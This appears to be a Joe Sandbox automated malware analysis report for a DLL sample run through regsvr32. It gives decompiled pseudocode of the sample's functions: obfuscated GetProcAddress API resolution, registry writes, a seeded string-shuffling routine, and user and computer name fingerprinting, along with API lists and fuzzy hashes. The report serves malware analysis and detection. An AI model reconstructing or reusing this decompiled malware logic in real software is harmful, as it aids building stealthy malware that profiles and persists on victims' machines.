                    • WaitForSingleObject.KERNEL32(?,00000000,00000000,00000102,?,74CF81D0,00000000,00000000), ref: 00D83FBC
                    • SetEvent.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00D83F34,00000000,?), ref: 00D83FCC
                    • HttpQueryInfoA.WININET(?,20000013,?,?), ref: 00D83FFE
                    • HttpQueryInfoA.WININET(?,00000016,00000000,00000004,?), ref: 00D84023
                    • HttpQueryInfoA.WININET(?,00000016,00000000,00000004,?), ref: 00D84043
                    • GetLastError.KERNEL32 ref: 00D84055
                      • Part of subcall function 00D816B2: WaitForMultipleObjects.KERNEL32(00000002,00D87C47,00000000,00D87C47,?,?,?,00D87C47,0000EA60), ref: 00D816CD
                      • Part of subcall function 00D861DA: RtlFreeHeap.NTDLL(00000000,00000000,00D86383,00000000,?,00000000,00000000), ref: 00D861E6
                    • GetLastError.KERNEL32(00000000), ref: 00D8408A
                    Memory Dump Source
                    • Source File: 00000003.00000002.637567617.0000000000D81000.00000020.10000000.00040000.00000000.sdmp, Offset: 00D80000, based on PE: true
                    • Associated: 00000003.00000002.637555833.0000000000D80000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637587459.0000000000D89000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637598755.0000000000D8A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637616950.0000000000D8C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_3_2_d80000_regsvr32.jbxd
                    Similarity
                    • API ID: HttpInfoQuery$ErrorLastWait$EventFreeHeapMultipleObjectObjectsSingle
                    • String ID:
                    • API String ID: 3369646462-0
                    • Opcode ID: 18421c4fc0af5659948b7b26055d325ed26e524be6195b45ca58cd5d0d0ce621
                    • Instruction ID: 6a63e73fa80b209ec2150ac3b135a3e53d5b962d9d1bfba6c3a7789401c96a44
                    • Opcode Fuzzy Hash: 18421c4fc0af5659948b7b26055d325ed26e524be6195b45ca58cd5d0d0ce621
                    • Instruction Fuzzy Hash: D031F0B5D00309EFDB20EFA5C8849AFBBB8EB08314F144969E642E2251D771AA449F71
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00D83A63 Relevance: 9.1, APIs: 6, Instructions: 126memoryCOMMON
                    Download Yara Rule
                    APIs
                    • SysAllocString.OLEAUT32(00000000), ref: 00D83ABD
                    • SysAllocString.OLEAUT32(0070006F), ref: 00D83AD1
                    • SysAllocString.OLEAUT32(00000000), ref: 00D83AE3
                    • SysFreeString.OLEAUT32(00000000), ref: 00D83B4B
                    • SysFreeString.OLEAUT32(00000000), ref: 00D83B5A
                    • SysFreeString.OLEAUT32(00000000), ref: 00D83B65
                    Memory Dump Source
                    • Source File: 00000003.00000002.637567617.0000000000D81000.00000020.10000000.00040000.00000000.sdmp, Offset: 00D80000, based on PE: true
                    • Associated: 00000003.00000002.637555833.0000000000D80000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637587459.0000000000D89000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637598755.0000000000D8A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637616950.0000000000D8C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_3_2_d80000_regsvr32.jbxd
                    Similarity
                    • API ID: String$AllocFree
                    • String ID:
                    • API String ID: 344208780-0
                    • Opcode ID: a4d5635c41b96075935ae2dbee2741f8457fabc20d435fb9285cceff4a5adac4
                    • Instruction ID: fdcf9f86f1963cbe0fcbaabba5b6f698ee18a870d01eae50728d490a6eb56dec
                    • Opcode Fuzzy Hash: a4d5635c41b96075935ae2dbee2741f8457fabc20d435fb9285cceff4a5adac4
                    • Instruction Fuzzy Hash: CD419135D00609ABDB01EFFCC844AAEB7B9EF49710F144466E905EB220DA71EE05CB61
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00D86BF9 Relevance: 9.1, APIs: 6, Instructions: 81libraryloaderCOMMON
                    Download Yara Rule
                    C-Code - Quality: 100%
                    			E00D86BF9(void* __ecx, intOrPtr _a4, intOrPtr _a8, intOrPtr* _a12) {
				intOrPtr _v8;
				intOrPtr _t23;
				intOrPtr _t26;
				_Unknown_base(*)()* _t28;
				intOrPtr _t30;
				_Unknown_base(*)()* _t32;
				intOrPtr _t33;
				_Unknown_base(*)()* _t35;
				intOrPtr _t36;
				_Unknown_base(*)()* _t38;
				intOrPtr _t39;
				_Unknown_base(*)()* _t41;
				intOrPtr _t44;
				struct HINSTANCE__* _t48;
				intOrPtr _t54;

				_t54 = E00D833DC(0x20);
				if(_t54 == 0) {
					_v8 = 8;
				} else {
					_t23 =  *0xd8a348; // 0x435d5a8
					_t1 = _t23 + 0xd8b436; // 0x4c44544e
					_t48 = GetModuleHandleA(_t1);
					_t26 =  *0xd8a348; // 0x435d5a8
					_t2 = _t26 + 0xd8b85c; // 0x7243775a
					_v8 = 0x7f;
					_t28 = GetProcAddress(_t48, _t2);
					 *(_t54 + 0xc) = _t28;
					if(_t28 == 0) {
						L8:
						E00D861DA(_t54);
					} else {
						_t30 =  *0xd8a348; // 0x435d5a8
						_t5 = _t30 + 0xd8b849; // 0x614d775a
						_t32 = GetProcAddress(_t48, _t5);
						 *(_t54 + 0x10) = _t32;
						if(_t32 == 0) {
							goto L8;
						} else {
							_t33 =  *0xd8a348; // 0x435d5a8
							_t7 = _t33 + 0xd8b72b; // 0x6e55775a
							_t35 = GetProcAddress(_t48, _t7);
							 *(_t54 + 0x14) = _t35;
							if(_t35 == 0) {
								goto L8;
							} else {
								_t36 =  *0xd8a348; // 0x435d5a8
								_t9 = _t36 + 0xd8b883; // 0x4e6c7452
								_t38 = GetProcAddress(_t48, _t9);
								 *(_t54 + 0x18) = _t38;
								if(_t38 == 0) {
									goto L8;
								} else {
									_t39 =  *0xd8a348; // 0x435d5a8
									_t11 = _t39 + 0xd8b87b; // 0x6c43775a
									_t41 = GetProcAddress(_t48, _t11);
									 *(_t54 + 0x1c) = _t41;
									if(_t41 == 0) {
										goto L8;
									} else {
										 *((intOrPtr*)(_t54 + 4)) = _a4;
										 *((intOrPtr*)(_t54 + 8)) = 0x40;
										_t44 = E00D87A08(_t54, _a8);
										_v8 = _t44;
										if(_t44 != 0) {
											goto L8;
										} else {
											 *_a12 = _t54;
										}
									}
								}
							}
						}
					}
				}
				return _v8;
			}


















                    0x00d86c08
                    0x00d86c0c
                    0x00d86cce
                    0x00d86c12
                    0x00d86c12
                    0x00d86c17
                    0x00d86c2a
                    0x00d86c2c
                    0x00d86c31
                    0x00d86c39
                    0x00d86c40
                    0x00d86c42
                    0x00d86c47
                    0x00d86cc6
                    0x00d86cc7
                    0x00d86c49
                    0x00d86c49
                    0x00d86c4e
                    0x00d86c56
                    0x00d86c58
                    0x00d86c5d
                    0x00000000
                    0x00d86c5f
                    0x00d86c5f
                    0x00d86c64
                    0x00d86c6c
                    0x00d86c6e
                    0x00d86c73
                    0x00000000
                    0x00d86c75
                    0x00d86c75
                    0x00d86c7a
                    0x00d86c82
                    0x00d86c84
                    0x00d86c89
                    0x00000000
                    0x00d86c8b
                    0x00d86c8b
                    0x00d86c90
                    0x00d86c98
                    0x00d86c9a
                    0x00d86c9f
                    0x00000000
                    0x00d86ca1
                    0x00d86ca7
                    0x00d86cac
                    0x00d86cb3
                    0x00d86cb8
                    0x00d86cbd
                    0x00000000
                    0x00d86cbf
                    0x00d86cc2
                    0x00d86cc2
                    0x00d86cbd
                    0x00d86c9f
                    0x00d86c89
                    0x00d86c73
                    0x00d86c5d
                    0x00d86c47
                    0x00d86cdc

                    APIs
                      • Part of subcall function 00D833DC: RtlAllocateHeap.NTDLL(00000000,00000000,00D862F6), ref: 00D833E8
                    • GetModuleHandleA.KERNEL32(4C44544E,00000020,?,74183966,00000000,?,?,?,00D837FB,?,?,?,?,00000000,00000000), ref: 00D86C1E
                    • GetProcAddress.KERNEL32(00000000,7243775A), ref: 00D86C40
                    • GetProcAddress.KERNEL32(00000000,614D775A), ref: 00D86C56
                    • GetProcAddress.KERNEL32(00000000,6E55775A), ref: 00D86C6C
                    • GetProcAddress.KERNEL32(00000000,4E6C7452), ref: 00D86C82
                    • GetProcAddress.KERNEL32(00000000,6C43775A), ref: 00D86C98
                      • Part of subcall function 00D87A08: memset.NTDLL ref: 00D87A87
                    Memory Dump Source
                    • Source File: 00000003.00000002.637567617.0000000000D81000.00000020.10000000.00040000.00000000.sdmp, Offset: 00D80000, based on PE: true
                    • Associated: 00000003.00000002.637555833.0000000000D80000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637587459.0000000000D89000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637598755.0000000000D8A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637616950.0000000000D8C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_3_2_d80000_regsvr32.jbxd
                    Similarity
                    • API ID: AddressProc$AllocateHandleHeapModulememset
                    • String ID:
                    • API String ID: 1886625739-0
                    • Opcode ID: 332a51eaff1bebb8ad9ce04a40a7a6ba58bf4a1565c1c77ff45f82c94560176e
                    • Instruction ID: d59bcf3552385253e7e52451ac3dcdd84f1e8ecbb0417a6b5a9d2efd94116041
                    • Opcode Fuzzy Hash: 332a51eaff1bebb8ad9ce04a40a7a6ba58bf4a1565c1c77ff45f82c94560176e
                    • Instruction Fuzzy Hash: 20212CB060170AAFD711EFAACD84E6ABBECEF54764B044866F545C7321E770E9088B70
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00D84C94 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 167stringCOMMON
                    Download Yara Rule
                    C-Code - Quality: 88%
                    			E00D84C94(void* __ecx, char* _a8, char _a16, intOrPtr* _a20, char _a24) {
				signed int _v8;
				char _v12;
				signed int* _v16;
				char _v284;
				void* __esi;
				char* _t59;
				intOrPtr* _t60;
				intOrPtr _t64;
				char _t65;
				intOrPtr _t68;
				intOrPtr _t69;
				intOrPtr _t71;
				void* _t73;
				signed int _t81;
				void* _t91;
				void* _t92;
				char _t98;
				signed int* _t100;
				intOrPtr* _t101;
				void* _t102;

				_t92 = __ecx;
				_v8 = _v8 & 0x00000000;
				_t98 = _a16;
				if(_t98 == 0) {
					__imp__( &_v284,  *0xd8a3dc);
					_t91 = 0x80000002;
					L6:
					_t59 = E00D86536( &_v284,  &_v284);
					_a8 = _t59;
					if(_t59 == 0) {
						_v8 = 8;
						L29:
						_t60 = _a20;
						if(_t60 != 0) {
							 *_t60 =  *_t60 + 1;
						}
						return _v8;
					}
					_t101 = _a24;
					if(E00D8313F(_t92, _t97, _t101, _t91, _t59) != 0) {
						L27:
						E00D861DA(_a8);
						goto L29;
					}
					_t64 =  *0xd8a318; // 0x50e9dd8
					_t16 = _t64 + 0xc; // 0x50e9efa
					_t65 = E00D86536(_t64,  *_t16);
					_a24 = _t65;
					if(_t65 == 0) {
						L14:
						_t29 = _t101 + 0x14; // 0x102
						_t33 = _t101 + 0x10; // 0x3d00d890
						if(E00D87767(_t97,  *_t33, _t91, _a8,  *0xd8a3d4,  *((intOrPtr*)( *_t29 + 0x28)),  *((intOrPtr*)( *_t29 + 0x2c))) == 0) {
							_t68 =  *0xd8a348; // 0x435d5a8
							if(_t98 == 0) {
								_t35 = _t68 + 0xd8bb5a; // 0x4d4c4b48
								_t69 = _t35;
							} else {
								_t34 = _t68 + 0xd8bbac; // 0x55434b48
								_t69 = _t34;
							}
							if(E00D87238(_t69,  *0xd8a3d4,  *0xd8a3d8,  &_a24,  &_a16) == 0) {
								if(_t98 == 0) {
									_t71 =  *0xd8a348; // 0x435d5a8
									_t44 = _t71 + 0xd8b332; // 0x74666f53
									_t73 = E00D86536(_t44, _t44);
									_t99 = _t73;
									if(_t73 == 0) {
										_v8 = 8;
									} else {
										_t47 = _t101 + 0x10; // 0x3d00d890
										E00D85B0E( *_t47, _t91, _a8,  *0xd8a3d8, _a24);
										_t49 = _t101 + 0x10; // 0x3d00d890
										E00D85B0E( *_t49, _t91, _t99,  *0xd8a3d0, _a16);
										E00D861DA(_t99);
									}
								} else {
									_t40 = _t101 + 0x10; // 0x3d00d890
									E00D85B0E( *_t40, _t91, _a8,  *0xd8a3d8, _a24);
									_t43 = _t101 + 0x10; // 0x3d00d890
									E00D85B0E( *_t43, _t91, _a8,  *0xd8a3d0, _a16);
								}
								if( *_t101 != 0) {
									E00D861DA(_a24);
								} else {
									 *_t101 = _a16;
								}
							}
						}
						goto L27;
					}
					_t21 = _t101 + 0x10; // 0x3d00d890
					_t81 = E00D858BD( *_t21, _t91, _a8, _t65,  &_v16,  &_v12);
					if(_t81 == 0) {
						_t100 = _v16;
						if(_v12 == 0x28) {
							 *_t100 =  *_t100 & _t81;
							_t26 = _t101 + 0x10; // 0x3d00d890
							E00D87767(_t97,  *_t26, _t91, _a8, _a24, _t100, 0x28);
						}
						E00D861DA(_t100);
						_t98 = _a16;
					}
					E00D861DA(_a24);
					goto L14;
				}
				if(_t98 <= 8 || _t98 + 0x2a >= 0x104 || StrChrA(_a8, 0x5f) != 0) {
					goto L29;
				} else {
					_t97 = _a8;
					E00D87AB0(_t98, _a8,  &_v284);
					__imp__(_t102 + _t98 - 0x117,  *0xd8a3dc);
					 *((char*)(_t102 + _t98 - 0x118)) = 0x5c;
					_t91 = 0x80000003;
					goto L6;
				}
			}























                    0x00d84c94
                    0x00d84c9d
                    0x00d84ca4
                    0x00d84ca9
                    0x00d84d16
                    0x00d84d1c
                    0x00d84d21
                    0x00d84d28
                    0x00d84d2d
                    0x00d84d32
                    0x00d84e9d
                    0x00d84ea4
                    0x00d84ea4
                    0x00d84ea9
                    0x00d84eab
                    0x00d84eab
                    0x00d84eb4
                    0x00d84eb4
                    0x00d84d38
                    0x00d84d44
                    0x00d84e93
                    0x00d84e96
                    0x00000000
                    0x00d84e96
                    0x00d84d4a
                    0x00d84d4f
                    0x00d84d52
                    0x00d84d57
                    0x00d84d5c
                    0x00d84da5
                    0x00d84da5
                    0x00d84db8
                    0x00d84dc2
                    0x00d84dc8
                    0x00d84dcf
                    0x00d84dd9
                    0x00d84dd9
                    0x00d84dd1
                    0x00d84dd1
                    0x00d84dd1
                    0x00d84dd1
                    0x00d84dfb
                    0x00d84e03
                    0x00d84e31
                    0x00d84e36
                    0x00d84e3d
                    0x00d84e42
                    0x00d84e46
                    0x00d84e78
                    0x00d84e48
                    0x00d84e55
                    0x00d84e58
                    0x00d84e68
                    0x00d84e6b
                    0x00d84e71
                    0x00d84e71
                    0x00d84e05
                    0x00d84e12
                    0x00d84e15
                    0x00d84e27
                    0x00d84e2a
                    0x00d84e2a
                    0x00d84e82
                    0x00d84e8e
                    0x00d84e84
                    0x00d84e87
                    0x00d84e87
                    0x00d84e82
                    0x00d84dfb
                    0x00000000
                    0x00d84dc2
                    0x00d84d6b
                    0x00d84d6e
                    0x00d84d75
                    0x00d84d7b
                    0x00d84d7e
                    0x00d84d80
                    0x00d84d8c
                    0x00d84d8f
                    0x00d84d8f
                    0x00d84d95
                    0x00d84d9a
                    0x00d84d9a
                    0x00d84da0
                    0x00000000
                    0x00d84da0
                    0x00d84cae
                    0x00000000
                    0x00d84cd5
                    0x00d84cd5
                    0x00d84ce1
                    0x00d84cf4
                    0x00d84cfa
                    0x00d84d02
                    0x00000000
                    0x00d84d02

                    APIs
                    • StrChrA.SHLWAPI(00D86A76,0000005F,00000000,00000000,00000104), ref: 00D84CC7
                    • lstrcpy.KERNEL32(?,?), ref: 00D84CF4
                      • Part of subcall function 00D86536: lstrlen.KERNEL32(?,00000000,050E9DD8,00000000,00D86F0A,050E9FFB,43175AC3,?,?,?,?,43175AC3,00000005,00D8A00C,4D283A53,?), ref: 00D8653D
                      • Part of subcall function 00D86536: mbstowcs.NTDLL ref: 00D86566
                      • Part of subcall function 00D86536: memset.NTDLL ref: 00D86578
                      • Part of subcall function 00D85B0E: lstrlenW.KERNEL32(?,?,?,00D84E5D,3D00D890,80000002,00D86A76,00D857D1,74666F53,4D4C4B48,00D857D1,?,3D00D890,80000002,00D86A76,?), ref: 00D85B33
                      • Part of subcall function 00D861DA: RtlFreeHeap.NTDLL(00000000,00000000,00D86383,00000000,?,00000000,00000000), ref: 00D861E6
                    • lstrcpy.KERNEL32(?,00000000), ref: 00D84D16
                    Strings
                    Memory Dump Source
                    • Source File: 00000003.00000002.637567617.0000000000D81000.00000020.10000000.00040000.00000000.sdmp, Offset: 00D80000, based on PE: true
                    • Associated: 00000003.00000002.637555833.0000000000D80000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637587459.0000000000D89000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637598755.0000000000D8A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637616950.0000000000D8C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_3_2_d80000_regsvr32.jbxd
                    Similarity
                    • API ID: lstrcpylstrlen$FreeHeapmbstowcsmemset
                    • String ID: ($\
                    • API String ID: 3924217599-1512714803
                    • Opcode ID: d65b79ce6c4a7bc985c7e4f225d8081a54ee3a479b65f20913bf86c657491319
                    • Instruction ID: 7aeffeeb70d9fb681de71402388b0c5d21b385ddb786bf505609cd681fda531c
                    • Opcode Fuzzy Hash: d65b79ce6c4a7bc985c7e4f225d8081a54ee3a479b65f20913bf86c657491319
                    • Instruction Fuzzy Hash: F4519A7201030AEFDF12AFA4DC40EAA7BBAFF18710F148519F91192161D732E925EB30
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00D87040 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 145stringCOMMON
                    Download Yara Rule
                    C-Code - Quality: 22%
                    			E00D87040(signed int __eax, signed int _a4, signed int _a8) {
				signed int _v8;
				signed int _v12;
				intOrPtr _v16;
				signed int _v20;
				intOrPtr _t81;
				char _t83;
				signed int _t90;
				signed int _t97;
				signed int _t99;
				char _t101;
				unsigned int _t102;
				intOrPtr _t103;
				char* _t107;
				signed int _t110;
				signed int _t113;
				signed int _t118;
				signed int _t122;
				intOrPtr _t124;

				_t102 = _a8;
				_t118 = 0;
				_v20 = __eax;
				_t122 = (_t102 >> 2) + 1;
				_v8 = 0;
				_a8 = 0;
				_t81 = E00D833DC(_t122 << 2);
				_v16 = _t81;
				if(_t81 == 0) {
					_push(8);
					_pop(0);
					L37:
					return 0;
				}
				_t107 = _a4;
				_a4 = _t102;
				_t113 = 0;
				while(1) {
					_t83 =  *_t107;
					if(_t83 == 0) {
						break;
					}
					if(_t83 == 0xd || _t83 == 0xa) {
						if(_t118 != 0) {
							if(_t118 > _v8) {
								_v8 = _t118;
							}
							_a8 = _a8 + 1;
							_t118 = 0;
						}
						 *_t107 = 0;
						goto L16;
					} else {
						if(_t118 != 0) {
							L10:
							_t118 = _t118 + 1;
							L16:
							_t107 = _t107 + 1;
							_t15 =  &_a4;
							 *_t15 = _a4 - 1;
							if( *_t15 != 0) {
								continue;
							}
							break;
						}
						if(_t113 == _t122) {
							L21:
							if(_a8 <= 0x20) {
								_push(0xb);
								L34:
								_pop(0);
								L35:
								E00D861DA(_v16);
								goto L37;
							}
							_t24 = _v8 + 5; // 0xcdd8d2f8
							_t103 = E00D833DC((_v8 + _t24) * _a8 + 4);
							if(_t103 == 0) {
								_push(8);
								goto L34;
							}
							_t90 = _a8;
							_a4 = _a4 & 0x00000000;
							_v8 = _v8 & 0x00000000;
							_t124 = _t103 + _t90 * 4;
							if(_t90 <= 0) {
								L31:
								 *0xd8a318 = _t103;
								goto L35;
							}
							do {
								_t110 = 0x3c6ef35f + _v20 * 0x19660d;
								_v20 = 0x3c6ef35f + _t110 * 0x19660d;
								__imp__(_t124,  *((intOrPtr*)(_v16 + _t110 % _a8 * 4)));
								__imp__(_t124,  *((intOrPtr*)(_v16 + _v20 % _a8 * 4)));
								_v12 = _v12 & 0x00000000;
								if(_a4 <= 0) {
									goto L30;
								} else {
									goto L26;
								}
								while(1) {
									L26:
									_t99 = _v12;
									__imp__( *((intOrPtr*)(_t103 + _t99 * 4)), _t124);
									if(_t99 == 0) {
										break;
									}
									_v12 = _v12 + 1;
									if(_v12 < _a4) {
										continue;
									}
									goto L30;
								}
								_v8 = _v8 - 1;
								L30:
								_t97 = _a4;
								_a4 = _a4 + 1;
								 *((intOrPtr*)(_t103 + _t97 * 4)) = _t124;
								__imp__(_t124);
								_v8 = _v8 + 1;
								_t124 = _t124 + _t97 + 1;
							} while (_v8 < _a8);
							goto L31;
						}
						 *((intOrPtr*)(_v16 + _t113 * 4)) = _t107;
						_t101 = _t83;
						if(_t83 - 0x61 <= 0x19) {
							_t101 = _t101 - 0x20;
						}
						 *_t107 = _t101;
						_t113 = _t113 + 1;
						goto L10;
					}
				}
				if(_t118 != 0) {
					if(_t118 > _v8) {
						_v8 = _t118;
					}
					_a8 = _a8 + 1;
				}
				goto L21;
			}





















                    0x00d87047
                    0x00d8704e
                    0x00d87053
                    0x00d87056
                    0x00d8705d
                    0x00d87060
                    0x00d87063
                    0x00d87068
                    0x00d8706d
                    0x00d871c1
                    0x00d871c3
                    0x00d871c5
                    0x00d871ca
                    0x00d871ca
                    0x00d87073
                    0x00d87076
                    0x00d87079
                    0x00d8707b
                    0x00d8707b
                    0x00d8707f
                    0x00000000
                    0x00000000
                    0x00d87083
                    0x00d870af
                    0x00d870b4
                    0x00d870b6
                    0x00d870b6
                    0x00d870b9
                    0x00d870bc
                    0x00d870bc
                    0x00d870be
                    0x00000000
                    0x00d87089
                    0x00d8708b
                    0x00d870aa
                    0x00d870aa
                    0x00d870c1
                    0x00d870c1
                    0x00d870c2
                    0x00d870c2
                    0x00d870c5
                    0x00000000
                    0x00000000
                    0x00000000
                    0x00d870c5
                    0x00d8708f
                    0x00d870d6
                    0x00d870da
                    0x00d871b4
                    0x00d871b6
                    0x00d871b6
                    0x00d871b7
                    0x00d871ba
                    0x00000000
                    0x00d871ba
                    0x00d870e3
                    0x00d870f4
                    0x00d870f8
                    0x00d871b0
                    0x00000000
                    0x00d871b0
                    0x00d870fe
                    0x00d87101
                    0x00d87105
                    0x00d87109
                    0x00d8710e
                    0x00d871a6
                    0x00d871a6
                    0x00000000
                    0x00d871ac
                    0x00d87119
                    0x00d87122
                    0x00d87136
                    0x00d8713d
                    0x00d87152
                    0x00d87158
                    0x00d87160
                    0x00000000
                    0x00000000
                    0x00000000
                    0x00000000
                    0x00d87162
                    0x00d87162
                    0x00d87162
                    0x00d87169
                    0x00d87171
                    0x00000000
                    0x00000000
                    0x00d87173
                    0x00d8717c
                    0x00000000
                    0x00000000
                    0x00000000
                    0x00d8717e
                    0x00d87180
                    0x00d87183
                    0x00d87183
                    0x00d87186
                    0x00d8718a
                    0x00d8718d
                    0x00d87193
                    0x00d87196
                    0x00d8719d
                    0x00000000
                    0x00d87119
                    0x00d87094
                    0x00d8709c
                    0x00d870a2
                    0x00d870a4
                    0x00d870a4
                    0x00d870a7
                    0x00d870a9
                    0x00000000
                    0x00d870a9
                    0x00d87083
                    0x00d870c9
                    0x00d870ce
                    0x00d870d0
                    0x00d870d0
                    0x00d870d3
                    0x00d870d3
                    0x00000000

                    APIs
                      • Part of subcall function 00D833DC: RtlAllocateHeap.NTDLL(00000000,00000000,00D862F6), ref: 00D833E8
                    • lstrcpy.KERNEL32(43175AC4,00000020), ref: 00D8713D
                    • lstrcat.KERNEL32(43175AC4,00000020), ref: 00D87152
                    • lstrcmp.KERNEL32(00000000,43175AC4), ref: 00D87169
                    • lstrlen.KERNEL32(43175AC4), ref: 00D8718D
                    Strings
                    Memory Dump Source
                    • Source File: 00000003.00000002.637567617.0000000000D81000.00000020.10000000.00040000.00000000.sdmp, Offset: 00D80000, based on PE: true
                    • Associated: 00000003.00000002.637555833.0000000000D80000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637587459.0000000000D89000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637598755.0000000000D8A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637616950.0000000000D8C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_3_2_d80000_regsvr32.jbxd
                    Similarity
                    • API ID: AllocateHeaplstrcatlstrcmplstrcpylstrlen
                    • String ID:
                    • API String ID: 3214092121-3916222277
                    • Opcode ID: 267c6970c2f42fe2e6ded7c5d0aeec78d638c4513d92e1f1fc8b90fd88176876
                    • Instruction ID: f89f001cb1c497ecb949b7a1e6d9e747fb74eebc31197ac64c2baa71fccd6031
                    • Opcode Fuzzy Hash: 267c6970c2f42fe2e6ded7c5d0aeec78d638c4513d92e1f1fc8b90fd88176876
                    • Instruction Fuzzy Hash: CB51B171E08208EFDF21EF99C8846ADFBB6FF45354F29805AE8559B251C770DA41CBA0
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00D81340 Relevance: 7.6, APIs: 5, Instructions: 83COMMON
                    Download Yara Rule
                    C-Code - Quality: 100%
                    			E00D81340() {
				long _v8;
				long _v12;
				int _v16;
				long _t39;
				long _t43;
				signed int _t47;
				short _t51;
				signed int _t52;
				int _t56;
				int _t57;
				char* _t64;
				short* _t67;

				_v16 = 0;
				_v8 = 0;
				GetUserNameW(0,  &_v8);
				_t39 = _v8;
				if(_t39 != 0) {
					_v12 = _t39;
					_v8 = 0;
					GetComputerNameW(0,  &_v8);
					_t43 = _v8;
					if(_t43 != 0) {
						_t11 = _t43 + 2; // 0x7491c742
						_v12 = _v12 + _t11;
						_t64 = E00D833DC(_v12 + _t11 << 2);
						if(_t64 != 0) {
							_t47 = _v12;
							_t67 = _t64 + _t47 * 2;
							_v8 = _t47;
							if(GetUserNameW(_t67,  &_v8) == 0) {
								L7:
								E00D861DA(_t64);
							} else {
								_t51 = 0x40;
								 *((short*)(_t67 + _v8 * 2 - 2)) = _t51;
								_t52 = _v8;
								_v12 = _v12 - _t52;
								if(GetComputerNameW( &(_t67[_t52]),  &_v12) == 0) {
									goto L7;
								} else {
									_t56 = _v12 + _v8;
									_t31 = _t56 + 2; // 0xd83e01
									_v12 = _t56;
									_t57 = WideCharToMultiByte(0xfde9, 0, _t67, _t56, _t64, _t56 + _t31, 0, 0);
									_v8 = _t57;
									if(_t57 == 0) {
										goto L7;
									} else {
										_t64[_t57] = 0;
										_v16 = _t64;
									}
								}
							}
						}
					}
				}
				return _v16;
			}















                    0x00d8134e
                    0x00d81351
                    0x00d81354
                    0x00d8135a
                    0x00d8135f
                    0x00d81365
                    0x00d8136d
                    0x00d81370
                    0x00d81376
                    0x00d8137b
                    0x00d81384
                    0x00d81388
                    0x00d81395
                    0x00d81399
                    0x00d8139b
                    0x00d8139f
                    0x00d813a2
                    0x00d813b2
                    0x00d81405
                    0x00d81406
                    0x00d813b4
                    0x00d813b9
                    0x00d813ba
                    0x00d813bf
                    0x00d813c2
                    0x00d813d5
                    0x00000000
                    0x00d813d7
                    0x00d813da
                    0x00d813df
                    0x00d813ed
                    0x00d813f0
                    0x00d813f6
                    0x00d813fb
                    0x00000000
                    0x00d813fd
                    0x00d813fd
                    0x00d81400
                    0x00d81400
                    0x00d813fb
                    0x00d813d5
                    0x00d8140b
                    0x00d8140c
                    0x00d8137b
                    0x00d81412

                    APIs
                    • GetUserNameW.ADVAPI32(00000000,00D83DFF), ref: 00D81354
                    • GetComputerNameW.KERNEL32(00000000,00D83DFF), ref: 00D81370
                      • Part of subcall function 00D833DC: RtlAllocateHeap.NTDLL(00000000,00000000,00D862F6), ref: 00D833E8
                    • GetUserNameW.ADVAPI32(00000000,00D83DFF), ref: 00D813AA
                    • GetComputerNameW.KERNEL32(00D83DFF,7491C740), ref: 00D813CD
                    • WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,00D83DFF,00000000,00D83E01,00000000,00000000,?,7491C740,00D83DFF), ref: 00D813F0
                    Memory Dump Source
                    • Source File: 00000003.00000002.637567617.0000000000D81000.00000020.10000000.00040000.00000000.sdmp, Offset: 00D80000, based on PE: true
                    • Associated: 00000003.00000002.637555833.0000000000D80000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637587459.0000000000D89000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637598755.0000000000D8A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637616950.0000000000D8C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_3_2_d80000_regsvr32.jbxd
                    Similarity
                    • API ID: Name$ComputerUser$AllocateByteCharHeapMultiWide
                    • String ID:
                    • API String ID: 3850880919-0
                    • Opcode ID: efc0efaf4c9eb728b19ccbcef1eae4122b8408b78d407f76b61d18eac195e2e7
                    • Instruction ID: ca51337ace1acaea1a3da81c9c62970a6684a8f2ffebac6e286f4d9fb5817189
                    • Opcode Fuzzy Hash: efc0efaf4c9eb728b19ccbcef1eae4122b8408b78d407f76b61d18eac195e2e7
                    • Instruction Fuzzy Hash: B221EC76900209FFDB11DFE9D9858EEBBBCEF44304B1444AAE501E7241DB309B4ADB20
                    Uniqueness

                    Uniqueness Score: -1.00%

